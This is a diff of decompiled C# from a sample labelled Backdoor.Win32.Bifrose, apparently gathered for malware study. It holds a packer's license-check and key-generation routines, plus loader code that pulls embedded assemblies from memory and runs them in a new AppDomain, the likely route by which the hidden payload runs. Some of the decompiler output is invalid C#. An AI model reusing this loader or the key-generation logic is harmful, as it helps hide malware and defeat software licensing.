||||
}
|
||||
Marshal.FreeCoTaskMem(ptr);
|
||||
if (!(coTaskMemAnsi != IntPtr.Zero))
|
||||
return str;
|
||||
Marshal.FreeCoTaskMem(coTaskMemAnsi);
|
||||
return str;
|
||||
}
|
||||
|
||||
[return: MarshalAs(UnmanagedType.U1)]
|
||||
public virtual unsafe bool SameSoftware(Assembly pReserved, IntPtr pSoft, ulong SwMajor)
|
||||
{
|
||||
int num;
|
||||
if (\u0082\u00BB.\u0081\u00A5((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), (sbyte*) pSoft.ToPointer(), SwMajor, &num) == 0)
|
||||
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
|
||||
return num != 0;
|
||||
}
|
||||
|
||||
[return: MarshalAs(UnmanagedType.U1)]
|
||||
public virtual unsafe bool IsLicensed(Assembly pReserved, string licenseKey, [MarshalAs(UnmanagedType.U1)] bool usb)
|
||||
{
|
||||
IntPtr coTaskMemAnsi = Marshal.StringToCoTaskMemAnsi(licenseKey);
|
||||
int num1 = usb ? 1 : 0;
|
||||
int num2 = \u0082\u00BB.\u0081ª((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), (sbyte*) coTaskMemAnsi.ToPointer(), num1);
|
||||
if (coTaskMemAnsi != IntPtr.Zero)
|
||||
Marshal.FreeCoTaskMem(coTaskMemAnsi);
|
||||
return num2 != 0;
|
||||
}
|
||||
|
||||
public virtual unsafe int HardwareScore(Assembly pReserved, ulong HwConfig1, ulong HwConfig2)
|
||||
{
|
||||
int num;
|
||||
if (\u0082\u00BB.\u00A1((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), HwConfig1, HwConfig2, &num) == 0)
|
||||
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
|
||||
return num;
|
||||
}
|
||||
|
||||
public virtual unsafe IntPtr GenProductKey(
|
||||
Assembly pReserved,
|
||||
IntPtr pKeys,
|
||||
uint LicenseID,
|
||||
ulong data)
|
||||
{
|
||||
sbyte* numPtr;
|
||||
if (\u0082\u00BB.\u0081µ((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), pKeys.ToPointer(), LicenseID, data, &numPtr) == 0)
|
||||
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
|
||||
return (IntPtr) (void*) numPtr;
|
||||
}
|
||||
|
||||
public virtual unsafe IntPtr GenProductKey(
|
||||
Assembly pReserved,
|
||||
IntPtr pKeys,
|
||||
uint LicenseID)
|
||||
{
|
||||
sbyte* numPtr;
|
||||
if (\u0082\u00BB.\u0081µ((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), pKeys.ToPointer(), LicenseID, &numPtr) == 0)
|
||||
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
|
||||
return (IntPtr) (void*) numPtr;
|
||||
}
|
||||
|
||||
public virtual unsafe uint GetLicenseId(Assembly pReserved, IntPtr pProductKey)
|
||||
{
|
||||
uint licenseId;
|
||||
if (\u0082\u00BB.\u0081\u00BC((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), (sbyte*) pProductKey.ToPointer(), &licenseId) == 0)
|
||||
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
|
||||
return licenseId;
|
||||
}
|
||||
|
||||
public virtual unsafe ulong GetProductkeyData(Assembly pReserved, IntPtr pProductKey)
|
||||
{
|
||||
uint num;
|
||||
ulong productkeyData;
|
||||
if (\u0082\u00BB.\u0081\u00BC((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), (sbyte*) pProductKey.ToPointer(), &num, &productkeyData) == 0)
|
||||
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
|
||||
return productkeyData;
|
||||
}
|
||||
|
||||
public virtual unsafe IntPtr DecodeActivationString(
|
||||
Assembly pReserved,
|
||||
IntPtr pKeys,
|
||||
IntPtr pActivationString)
|
||||
{
|
||||
byte* numPtr;
|
||||
if (\u0082\u00BB.\u0081Ä((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), pKeys.ToPointer(), (sbyte*) pActivationString.ToPointer(), &numPtr) == 0)
|
||||
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
|
||||
return (IntPtr) (void*) numPtr;
|
||||
}
|
||||
|
||||
public virtual unsafe IntPtr EncodeActivationRequest(Assembly pReserved, IntPtr preq)
|
||||
{
|
||||
sbyte* numPtr;
|
||||
if (\u0082\u00BB.Ã((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), preq.ToPointer(), &numPtr) == 0)
|
||||
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
|
||||
return (IntPtr) (void*) numPtr;
|
||||
}
|
||||
|
||||
public virtual unsafe IntPtr GetConfig(
|
||||
Assembly pReserved,
|
||||
uint LicenseID,
|
||||
ushort ActivationDuration)
|
||||
{
|
||||
sbyte* config;
|
||||
if (\u0082\u00BB.\u0081Ñ((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), LicenseID, ActivationDuration, &config) == 0)
|
||||
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
|
||||
return (IntPtr) (void*) config;
|
||||
}
|
||||
|
||||
public virtual unsafe IntPtr GetConfig(
|
||||
Assembly pReserved,
|
||||
uint LicenseID,
|
||||
ushort ActivationDuration,
|
||||
IntPtr pAssemblyFile)
|
||||
{
|
||||
sbyte* config;
|
||||
if (\u0082\u00BB.\u0081Ñ((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), LicenseID, ActivationDuration, (sbyte*) pAssemblyFile.ToPointer(), &config) == 0)
|
||||
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
|
||||
return (IntPtr) (void*) config;
|
||||
}
|
||||
|
||||
public virtual unsafe IntPtr GetConfig(
|
||||
Assembly pReserved,
|
||||
uint LicenseID,
|
||||
ushort ActivationDuration,
|
||||
AssemblyName Name)
|
||||
{
|
||||
string name = Name.Name;
|
||||
byte[] bytes = Encoding.UTF8.GetBytes(string.Concat((object) "\0"));
|
||||
GCHandle gcHandle = GCHandle.Alloc((object) bytes, GCHandleType.Pinned);
|
||||
IntPtr num1 = Marshal.UnsafeAddrOfPinnedArrayElement((Array) bytes, 0);
|
||||
sbyte* config;
|
||||
int num2 = \u0082\u00BB.\u0081Ñ((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), LicenseID, ActivationDuration, (byte*) num1.ToPointer(), (ushort) Name.Version.Major, (ushort) Name.Version.Minor, &config);
|
||||
gcHandle.Free();
|
||||
if (num2 == 0)
|
||||
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
|
||||
return (IntPtr) (void*) config;
|
||||
}
|
||||
|
||||
public virtual unsafe string GetThumbPrint(Assembly pReserved)
|
||||
{
|
||||
\u0081Ï ï;
|
||||
if (\u0082\u00BB.\u0081\u00D7((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), (byte*) &ï) == 0)
|
||||
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
|
||||
StringBuilder stringBuilder = new StringBuilder();
|
||||
int num = 0;
|
||||
do
|
||||
{
|
||||
// ISSUE: cast to a reference type
|
||||
// ISSUE: explicit reference operation
|
||||
stringBuilder.Append(string.Format("{0:x}", (object) ^(byte&) (num + (IntPtr) &ï)).PadLeft(2, '0'));
|
||||
++num;
|
||||
}
|
||||
while (num < 20);
|
||||
return stringBuilder.ToString();
|
||||
}
|
||||
|
||||
public virtual unsafe byte[] GetConfigForDemo(Assembly pReserved)
|
||||
{
|
||||
uint length;
|
||||
byte* numPtr;
|
||||
if (\u0082\u00BB.\u0081\u00B4((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), &length, &numPtr) == 0)
|
||||
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
|
||||
byte[] destination = new byte[(int) length];
|
||||
IntPtr num = (IntPtr) (void*) numPtr;
|
||||
Marshal.Copy(num, destination, 0, (int) length);
|
||||
Marshal.FreeCoTaskMem(num);
|
||||
return destination;
|
||||
}
|
||||
|
||||
public virtual unsafe IntPtr GetUsbConfig(
|
||||
Assembly pReserved,
|
||||
uint LicenseID,
|
||||
ushort ActivationDuration,
|
||||
ulong UsbHash,
|
||||
ulong UsbIdentity)
|
||||
{
|
||||
sbyte* usbConfig;
|
||||
if (\u0082\u00BB.\u0081è((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), LicenseID, ActivationDuration, UsbHash, UsbIdentity, &usbConfig) == 0)
|
||||
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
|
||||
return (IntPtr) (void*) usbConfig;
|
||||
}
|
||||
|
||||
public virtual unsafe IntPtr GetUsbConfig(
|
||||
Assembly pReserved,
|
||||
uint LicenseID,
|
||||
ushort ActivationDuration,
|
||||
ulong UsbHash,
|
||||
ulong UsbIdentity,
|
||||
IntPtr pAssemblyFile)
|
||||
{
|
||||
sbyte* usbConfig;
|
||||
if (\u0082\u00BB.\u0081è((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), LicenseID, ActivationDuration, UsbHash, UsbIdentity, (sbyte*) pAssemblyFile.ToPointer(), &usbConfig) == 0)
|
||||
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
|
||||
return (IntPtr) (void*) usbConfig;
|
||||
}
|
||||
|
||||
public virtual unsafe IntPtr GetUsbConfig(
|
||||
Assembly pReserved,
|
||||
uint LicenseID,
|
||||
ushort ActivationDuration,
|
||||
ulong UsbHash,
|
||||
ulong UsbIdentity,
|
||||
AssemblyName Name)
|
||||
{
|
||||
string name = Name.Name;
|
||||
byte[] bytes = Encoding.UTF8.GetBytes(string.Concat((object) "\0"));
|
||||
GCHandle gcHandle = GCHandle.Alloc((object) bytes, GCHandleType.Pinned);
|
||||
IntPtr num1 = Marshal.UnsafeAddrOfPinnedArrayElement((Array) bytes, 0);
|
||||
sbyte* usbConfig;
|
||||
int num2 = \u0082\u00BB.\u0081è((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), LicenseID, ActivationDuration, UsbHash, UsbIdentity, (byte*) num1.ToPointer(), (ushort) Name.Version.Major, (ushort) Name.Version.Minor, &usbConfig);
|
||||
gcHandle.Free();
|
||||
if (num2 == 0)
|
||||
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
|
||||
return (IntPtr) (void*) usbConfig;
|
||||
}
|
||||
|
||||
public virtual unsafe IntPtr GenerateLicense(
|
||||
Assembly pReserved,
|
||||
IntPtr pKeys,
|
||||
IntPtr preq)
|
||||
{
|
||||
sbyte* license;
|
||||
if (\u0082\u00BB.\u0081ð((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), pKeys.ToPointer(), preq.ToPointer(), &license) == 0)
|
||||
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
|
||||
return (IntPtr) (void*) license;
|
||||
}
|
||||
|
||||
public virtual unsafe IntPtr GenerateLicense(
|
||||
Assembly pReserved,
|
||||
IntPtr pKeys,
|
||||
IntPtr preq,
|
||||
int tolerance,
|
||||
[MarshalAs(UnmanagedType.U1)] bool ignoreMinor,
|
||||
long RuntimeLicensesLimit)
|
||||
{
|
||||
sbyte* license;
|
||||
if (\u0082\u00BB.\u0081ð((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), pKeys.ToPointer(), preq.ToPointer(), tolerance, ignoreMinor ? 1 : 0, RuntimeLicensesLimit, &license) == 0)
|
||||
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
|
||||
return (IntPtr) (void*) license;
|
||||
}
|
||||
|
||||
public virtual unsafe IntPtr GenerateUsbLicense(
|
||||
Assembly pReserved,
|
||||
IntPtr pKeys,
|
||||
IntPtr preq)
|
||||
{
|
||||
sbyte* usbLicense;
|
||||
if (\u0082\u00BB.\u0081\u00AC((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), pKeys.ToPointer(), preq.ToPointer(), &usbLicense, (byte) 0) == 0)
|
||||
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
|
||||
return (IntPtr) (void*) usbLicense;
|
||||
}
|
||||
|
||||
public virtual unsafe IntPtr GenerateUsbLicense(
|
||||
Assembly pReserved,
|
||||
IntPtr pKeys,
|
||||
IntPtr preq,
|
||||
int tolerance,
|
||||
[MarshalAs(UnmanagedType.U1)] bool ignoreMinor,
|
||||
long RuntimeLicensesLimit)
|
||||
{
|
||||
sbyte* usbLicense;
|
||||
if (\u0082\u00BB.\u0081\u00AC((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), pKeys.ToPointer(), preq.ToPointer(), tolerance, ignoreMinor ? 1 : 0, RuntimeLicensesLimit, &usbLicense, (byte) 0) == 0)
|
||||
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
|
||||
return (IntPtr) (void*) usbLicense;
|
||||
}
|
||||
|
||||
public virtual unsafe Assembly ResolveAssembly(string Name)
|
||||
{
|
||||
// ISSUE: untyped stack allocation
|
||||
int num1 = (int) __untypedstackalloc(\u0082\u00BB.Õ());
|
||||
try
|
||||
{
|
||||
AssemblyName assemblyName = new AssemblyName(Name);
|
||||
}
|
||||
catch (Exception ex1) when (
|
||||
{
|
||||
// ISSUE: unable to correctly present filter
|
||||
uint exceptionCode = (uint) Marshal.GetExceptionCode();
|
||||
if (\u0082\u00BB.\u0082\u00AE((void*) Marshal.GetExceptionPointers(), (void*) 0, 0, (void*) 0) != 0)
|
||||
{
|
||||
SuccessfulFiltering;
|
||||
}
|
||||
else
|
||||
throw;
|
||||
}
|
||||
)
|
||||
{
|
||||
uint num2 = 0;
|
||||
\u0082\u00BB.\u0081\u009A((void*) Marshal.GetExceptionPointers(), (void*) num1);
|
||||
try
|
||||
{
|
||||
try
|
||||
{
|
||||
return (Assembly) null;
|
||||
}
|
||||
catch (Exception ex2) when (
|
||||
{
|
||||
// ISSUE: unable to correctly present filter
|
||||
num2 = (uint) \u0082\u00BB.\u0084((void*) Marshal.GetExceptionPointers());
|
||||
if (num2 != 0U)
|
||||
{
|
||||
SuccessfulFiltering;
|
||||
}
|
||||
else
|
||||
throw;
|
||||
}
|
||||
)
|
||||
{
|
||||
}
|
||||
if (num2 != 0U)
|
||||
throw;
|
||||
}
|
||||
finally
|
||||
{
|
||||
\u0082\u00BB.ã((void*) num1, (int) num2);
|
||||
}
|
||||
}
|
||||
byte[] bytes = Encoding.UTF8.GetBytes(Name);
|
||||
GCHandle gcHandle = GCHandle.Alloc((object) bytes, GCHandleType.Pinned);
|
||||
IntPtr num3 = Marshal.UnsafeAddrOfPinnedArrayElement((Array) bytes, 0);
|
||||
int index = \u0082\u00BB.\u0082\u0082(num3.ToPointer());
|
||||
if (index >= 0)
|
||||
{
|
||||
Assembly[] ò = this.ò;
|
||||
if (index < ò.Length)
|
||||
{
|
||||
if ((object) ò[index] == null)
|
||||
this.ò[index] = this.\u0081â(num3);
|
||||
gcHandle.Free();
|
||||
return this.ò[index];
|
||||
}
|
||||
}
|
||||
gcHandle.Free();
|
||||
return new AssemblyName(Name).Name == this.\u0082\u00B4 ? this.\u0081\u00BD : (Assembly) null;
|
||||
}
|
||||
|
||||
public virtual int ExecuteEmbLockAssembly(Type pReserved1, int Reserved2) => \u0081Ù.\u0081Ö(pReserved1.Assembly, Reserved2);
|
||||
|
||||
public virtual unsafe Assembly GetEmbLockAssembly(Type pReserved1)
|
||||
{
|
||||
byte* numPtr = (byte*) \u0082\u00BB.î((byte*) Marshal.GetHINSTANCE(pReserved1.Assembly.GetLoadedModules()[0]).ToPointer());
|
||||
if ((IntPtr) numPtr == IntPtr.Zero)
|
||||
return (Assembly) null;
|
||||
IntPtr ptr = (IntPtr) (void*) numPtr;
|
||||
int length1 = Marshal.ReadInt32(ptr);
|
||||
IntPtr source = (IntPtr) (void*) (numPtr + 4);
|
||||
byte[] rawAssembly = new byte[length1];
|
||||
byte[] destination = rawAssembly;
|
||||
int length2 = length1;
|
||||
Marshal.Copy(source, destination, 0, length2);
|
||||
Assembly embLockAssembly = Assembly.Load(rawAssembly);
|
||||
Marshal.FreeCoTaskMem(ptr);
|
||||
return embLockAssembly;
|
||||
}
|
||||
|
||||
public virtual unsafe Assembly GetEmbLockAssemblyName(Type pReserved1)
|
||||
{
|
||||
byte* numPtr = (byte*) \u0082\u00BB.ô((byte*) Marshal.GetHINSTANCE(pReserved1.Assembly.GetLoadedModules()[0]).ToPointer());
|
||||
if ((IntPtr) numPtr == IntPtr.Zero)
|
||||
return (Assembly) null;
|
||||
IntPtr ptr = (IntPtr) (void*) numPtr;
|
||||
string stringAnsi = Marshal.PtrToStringAnsi(ptr);
|
||||
Marshal.FreeCoTaskMem(ptr);
|
||||
Assembly lockAssemblyName = (Assembly) null;
|
||||
try
|
||||
{
|
||||
lockAssemblyName = Assembly.Load(stringAnsi);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
}
|
||||
return lockAssemblyName;
|
||||
}
|
||||
|
||||
public virtual unsafe ArrayList GetEmbLockAssemblyServices(Type pReserved1)
|
||||
{
|
||||
byte* ptr1 = (byte*) \u0082\u00BB.\u0082\u008B((byte*) Marshal.GetHINSTANCE(pReserved1.Assembly.GetLoadedModules()[0]).ToPointer());
|
||||
if ((IntPtr) ptr1 == IntPtr.Zero)
|
||||
return (ArrayList) null;
|
||||
IntPtr ptr2 = (IntPtr) (void*) ptr1;
|
||||
ArrayList assemblyServices = new ArrayList();
|
||||
if (*ptr1 != (byte) 0)
|
||||
{
|
||||
do
|
||||
{
|
||||
string stringAnsi = Marshal.PtrToStringAnsi((IntPtr) (void*) ptr1);
|
||||
assemblyServices.Add((object) stringAnsi);
|
||||
ptr1 = (byte*) (stringAnsi.Length + (IntPtr) ptr1 + 1);
|
||||
}
|
||||
while (*ptr1 != (byte) 0);
|
||||
}
|
||||
Marshal.FreeCoTaskMem(ptr2);
|
||||
return assemblyServices;
|
||||
}
|
||||
|
||||
[return: MarshalAs(UnmanagedType.U1)]
|
||||
public virtual unsafe bool ProductKeyChecksumIsOk(Assembly pReserved, IntPtr pString)
|
||||
{
|
||||
int num;
|
||||
if (\u0082\u00BB.\u0082\u0096((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), (sbyte*) pString.ToPointer(), &num) == 0)
|
||||
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
|
||||
return num != 0;
|
||||
}
|
||||
|
||||
[return: MarshalAs(UnmanagedType.U1)]
|
||||
public virtual unsafe bool ConfigStringChecksumIsOk(Assembly pReserved, IntPtr pString)
|
||||
{
|
||||
int num;
|
||||
if (\u0082\u00BB.\u0082\u00A1((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), (sbyte*) pString.ToPointer(), &num) == 0)
|
||||
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
|
||||
return num != 0;
|
||||
}
|
||||
|
||||
[return: MarshalAs(UnmanagedType.U1)]
|
||||
public virtual unsafe bool LicenseKeyChecksumIsOk(Assembly pReserved, IntPtr pString)
|
||||
{
|
||||
int num;
|
||||
if (\u0082\u00BB.\u0081Ø((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), (sbyte*) pString.ToPointer(), &num) == 0)
|
||||
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
|
||||
return num != 0;
|
||||
}
|
||||
|
||||
[return: MarshalAs(UnmanagedType.U1)]
|
||||
public virtual unsafe bool IsDemo(Assembly pReserved)
|
||||
{
|
||||
int num;
|
||||
if (\u0082\u00BB.\u0082\u00AB((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), &num) == 0)
|
||||
throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
|
||||
return num != 0;
|
||||
}
|
||||
|
||||
public virtual unsafe int DaysLeft(Assembly pReserved)
|
||||
{
|
||||
int num;
|
||||
return \u0082\u00BB.\u0082\u00AF((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), &num) != 0 ? num : throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
|
||||
}
|
||||
|
||||
public virtual unsafe int MinutesLeft(Assembly pReserved)
|
||||
{
|
||||
int num;
|
||||
return \u0082\u00BB.\u0082\u00B9((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), &num) != 0 ? num : throw new LicenseException(typeof (PvLogiciels.dotNetProtector.Runtime));
|
||||
}
|
||||
|
||||
public virtual unsafe uint GetProductID(Assembly pReserved) => \u0082\u00BB.\u0082((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer());
|
||||
|
||||
public virtual void UnloadAppdomain(AppDomain domain)
|
||||
{
|
||||
int id = domain.Id;
|
||||
AppDomain.Unload(domain);
|
||||
\u0082\u00BB.\u0095(id);
|
||||
}
|
||||
|
||||
public virtual unsafe IntPtr StartUsbDetect() => (IntPtr) \u0082\u00BB.\u0081ø();
|
||||
|
||||
public virtual unsafe void EndUsbDetect(IntPtr handle) => \u0082\u00BB.\u008B(handle.ToPointer());
|
||||
|
||||
public virtual unsafe IntPtr LoadNativeLibrary(Assembly pReserved, IntPtr[] pointers)
|
||||
{
|
||||
GCHandle gcHandle = GCHandle.Alloc((object) pointers, GCHandleType.Pinned);
|
||||
IntPtr num1 = Marshal.UnsafeAddrOfPinnedArrayElement((Array) pointers, 0);
|
||||
IntPtr num2 = (IntPtr) \u0082\u00BB.\u0082\u0087((byte*) Marshal.GetHINSTANCE(pReserved.GetLoadedModules()[0]).ToPointer(), (void**) num1.ToPointer());
|
||||
gcHandle.Free();
|
||||
return num2;
|
||||
}
|
||||
|
||||
public virtual unsafe void FreeNativeLibrary(IntPtr pLib) => \u0082\u00BB.\u0096(pLib.ToPointer());
|
||||
|
||||
public virtual StackFrame[] GetFrames(StackTrace trace) => trace == null ? new StackFrame[0] : trace.GetFrames();
|
||||
|
||||
public virtual unsafe void EncodeTrace(Guid[] Guids, long[] Indexes, IntPtr[] Handles)
|
||||
{
|
||||
GCHandle gcHandle1 = GCHandle.Alloc((object) Guids, GCHandleType.Pinned);
|
||||
GCHandle gcHandle2 = GCHandle.Alloc((object) Indexes, GCHandleType.Pinned);
|
||||
GCHandle gcHandle3 = GCHandle.Alloc((object) Handles, GCHandleType.Pinned);
|
||||
IntPtr num1 = Marshal.UnsafeAddrOfPinnedArrayElement((Array) Guids, 0);
|
||||
IntPtr num2 = Marshal.UnsafeAddrOfPinnedArrayElement((Array) Indexes, 0);
|
||||
IntPtr num3 = Marshal.UnsafeAddrOfPinnedArrayElement((Array) Handles, 0);
|
||||
\u0082\u00BB.\u0098(Handles.Length, num3.ToPointer(), num2.ToPointer(), num1.ToPointer());
|
||||
gcHandle1.Free();
|
||||
gcHandle2.Free();
|
||||
gcHandle3.Free();
|
||||
}
|
||||
}
|
||||
}
|
||||
+10
@@ -0,0 +1,10 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: <dotNetProtector>
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1.exe
|
||||
|
||||
public class \u003CdotNetProtector\u003E
|
||||
{
|
||||
internal static readonly long _Reserved;
|
||||
}
|
||||
+281
@@ -0,0 +1,281 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: é.Ù
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1.exe
|
||||
|
||||
using \u0081é;
|
||||
using \u0082\u00BC;
|
||||
using System;
|
||||
using System.Reflection;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace \u0081é
|
||||
{
|
||||
[Serializable]
|
||||
internal class \u0081Ù
|
||||
{
|
||||
private IntPtr \u0082\u00B0;
|
||||
private IntPtr á;
|
||||
private int Þ;
|
||||
private Assembly Û;
|
||||
|
||||
private unsafe Assembly \u00F7()
|
||||
{
|
||||
byte* numPtr = (byte*) \u0082\u00BB.î((byte*) this.\u0082\u00B0.ToPointer());
|
||||
if ((IntPtr) numPtr == IntPtr.Zero)
|
||||
return (Assembly) null;
|
||||
IntPtr ptr = (IntPtr) (void*) numPtr;
|
||||
int length1 = Marshal.ReadInt32(ptr);
|
||||
IntPtr source = (IntPtr) (void*) (numPtr + 4);
|
||||
byte[] rawAssembly = new byte[length1];
|
||||
byte[] destination = rawAssembly;
|
||||
int length2 = length1;
|
||||
Marshal.Copy(source, destination, 0, length2);
|
||||
Assembly assembly = Assembly.Load(rawAssembly);
|
||||
Marshal.FreeCoTaskMem(ptr);
|
||||
return assembly;
|
||||
}
|
||||
|
||||
private unsafe Assembly \u0089()
|
||||
{
|
||||
byte* numPtr = (byte*) \u0082\u00BB.ô((byte*) this.\u0082\u00B0.ToPointer());
|
||||
if ((IntPtr) numPtr == IntPtr.Zero)
|
||||
return (Assembly) null;
|
||||
IntPtr ptr = (IntPtr) (void*) numPtr;
|
||||
string stringAnsi = Marshal.PtrToStringAnsi(ptr);
|
||||
Marshal.FreeCoTaskMem(ptr);
|
||||
Assembly assembly = (Assembly) null;
|
||||
try
|
||||
{
|
||||
assembly = Assembly.Load(stringAnsi);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
}
|
||||
return assembly;
|
||||
}
|
||||
|
||||
public static unsafe int \u0081Ö(Assembly _param0, int _param1)
|
||||
{
|
||||
// ISSUE: untyped stack allocation
|
||||
int num1 = (int) __untypedstackalloc(\u0082\u00BB.Õ());
|
||||
IntPtr hinstance = Marshal.GetHINSTANCE(_param0.GetLoadedModules()[0]);
|
||||
int num2 = 0;
|
||||
\u0081Ù ù = new \u0081Ù();
|
||||
ù.Û = _param0;
|
||||
ù.\u0082\u00B0 = hinstance;
|
||||
ù.Þ = _param1;
|
||||
IntPtr num3 = (IntPtr) (void*) &num2;
|
||||
ù.á = num3;
|
||||
AppDomain domain = AppDomain.CreateDomain(Guid.NewGuid().ToString());
|
||||
int id = domain.Id;
|
||||
domain.AssemblyResolve += new ResolveEventHandler(\u0081Ù.ç);
|
||||
CrossAppDomainDelegate callBackDelegate = new CrossAppDomainDelegate(ù.í);
|
||||
domain.DoCallBack(callBackDelegate);
|
||||
try
|
||||
{
|
||||
AppDomain.Unload(domain);
|
||||
}
|
||||
catch (Exception ex1) when (
|
||||
{
|
||||
// ISSUE: unable to correctly present filter
|
||||
uint exceptionCode = (uint) Marshal.GetExceptionCode();
|
||||
if (\u0082\u00BB.\u0082\u00AE((void*) Marshal.GetExceptionPointers(), (void*) 0, 0, (void*) 0) != 0)
|
||||
{
|
||||
SuccessfulFiltering;
|
||||
}
|
||||
else
|
||||
throw;
|
||||
}
|
||||
)
|
||||
{
|
||||
uint num4 = 0;
|
||||
\u0082\u00BB.\u0081\u009A((void*) Marshal.GetExceptionPointers(), (void*) num1);
|
||||
try
|
||||
{
|
||||
try
|
||||
{
|
||||
}
|
||||
catch (Exception ex2) when (
|
||||
{
|
||||
// ISSUE: unable to correctly present filter
|
||||
num4 = (uint) \u0082\u00BB.\u0084((void*) Marshal.GetExceptionPointers());
|
||||
if (num4 != 0U)
|
||||
{
|
||||
SuccessfulFiltering;
|
||||
}
|
||||
else
|
||||
throw;
|
||||
}
|
||||
)
|
||||
{
|
||||
}
|
||||
goto label_10;
|
||||
if (num4 != 0U)
|
||||
throw;
|
||||
}
|
||||
finally
|
||||
{
|
||||
\u0082\u00BB.ã((void*) num1, (int) num4);
|
||||
}
|
||||
}
|
||||
label_10:
|
||||
\u0082\u00BB.ù();
|
||||
\u0082\u00BB.\u0095(id);
|
||||
return num2;
|
||||
}
|
||||
|
||||
public unsafe void í()
|
||||
{
|
||||
FieldInfo fieldInfo = (FieldInfo) null;
|
||||
// ISSUE: untyped stack allocation
|
||||
int num1 = (int) __untypedstackalloc(\u0082\u00BB.Õ());
|
||||
Assembly entryAssembly = Assembly.GetEntryAssembly();
|
||||
uint exceptionCode;
|
||||
if ((object) entryAssembly == null)
|
||||
{
|
||||
\u0081ê.\u0081\u0099 = this.Û;
|
||||
try
|
||||
{
|
||||
fieldInfo = (FieldInfo) null;
|
||||
AppDomain currentDomain = AppDomain.CurrentDomain;
|
||||
AppDomainManager appDomainManager = currentDomain.DomainManager;
|
||||
if (appDomainManager == null)
|
||||
{
|
||||
appDomainManager = new AppDomainManager();
|
||||
typeof (AppDomain).GetField("_domainManager", BindingFlags.Instance | BindingFlags.NonPublic)?.SetValue((object) currentDomain, (object) appDomainManager);
|
||||
}
|
||||
